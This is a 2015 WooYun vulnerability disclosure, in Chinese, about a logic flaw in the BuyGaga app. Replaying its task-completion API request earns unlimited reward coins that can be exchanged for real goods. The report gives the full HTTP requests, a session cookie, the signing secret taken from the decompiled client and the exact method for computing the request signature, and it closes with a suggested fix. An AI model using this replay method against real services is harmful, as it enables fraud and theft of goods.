当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118960

漏洞标题:买嘎嘎设计缺陷可无限制刷取嘎币

相关厂商:买嘎嘎

漏洞作者: 三石

提交时间:2015-06-09 12:16

修复时间:2015-07-24 12:48

公开时间:2015-07-24 12:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

买嘎嘎中 嘎币可以换取很多实体礼品而且不需要人民币。 比如60嘎币就能获取一件骆驼牌的冲锋衣,还有很多很多礼品都可以通过嘎币直接换取。 这就相当于可以随意换取礼品。

详细说明:

漏洞对应的业务逻辑: “我的” - “嘎嘎会员” - “会员任务” - “3.软件分享”
任务列表获取接口:
请求:
POST //gagaapi/task.php HTTP/1.1
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Host: www.buygaga.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI NOTE LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: PHPSESSID=94ndklvi24rc9jpj8gpi1d4j72
Cookie2: $Version=1
Accept-Encoding: gzip
uid=1861168391&method=getmissionstate&sign=fe0fff3f7a545ff03f8b2c133395b2f2
http 请求返回:
HTTP/1.1 200 OK
Date: Mon, 08 Jun 2015 03:24:45 GMT
Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips PHP/5.4.30
X-Powered-By: PHP/5.4.30
Content-Length: 69
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
{"code":200,"datas":[{"sharestate":"3","uinfostate":"1"}],"msg":null}
对应任务截图:

Screenshot_2015-06-08-11-29-02.png


完成任务后有个提交完成的接口:
http 请求:
POST //gagaapi/task.php HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: www.buygaga.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI NOTE LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: PHPSESSID=94ndklvi24rc9jpj8gpi1d4j72
Cookie2: $Version=1
Accept-Encoding: gzip
uid=1861168391&method=getmissiongabi&mtype=2&sign=9b531cc8f67317785585710387ccfe50
参数说明:
uid(用户id)
method(请求动作)
mtype(分享类型2是短信分享)
sign(指纹认证参数)
sign 是一个字符串的md5 , 字符串的组合是 将参数根据每个参数值的 ascii 从小到大排序, 参数集合中增加 一个 “gagabuy123” 秘钥值参与排序, 该秘钥值是反编译客户端从 com.buygaga.appscan.request 包下得 HtPostBodyReq 类 createRequestParams 方法中发现的 。
sign 计算方式举例 比如参数有 :uid=1861168391&method=getmissiongabi&mtype=2
排序后 :“ 2 1861168391gagabuy123 getmissiongabi ” (为了说明排序关系才加入的空格 计算时是没有空格的) 将该字符串计算md5 后的值就是 sign 的值( 注意md5 一定要小写,大写的服务器认证不通过,曾经就犯过这个错误)
http 返回:
HTTP/1.1 200 OK
Date: Mon, 08 Jun 2015 03:15:37 GMT
Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips PHP/5.4.30
X-Powered-By: PHP/5.4.30
Content-Length: 68
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
{"code":200,"datas":[],"msg":"嘎币领取成功"}

漏洞证明:

我现在有41个嘎币:

Screenshot_2015-06-08-11-40-55.png


我接下来访问10次任务完成提交

任务1.png


访问10次后的结果全部正确:

任务2.png


我现在就从41个嘎币变成51个嘎币了。

Screenshot_2015-06-08-11-46-47.png


修复方案:

服务端 加上任务提交 每天一次的限制即可。

版权声明:转载请注明来源 三石@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝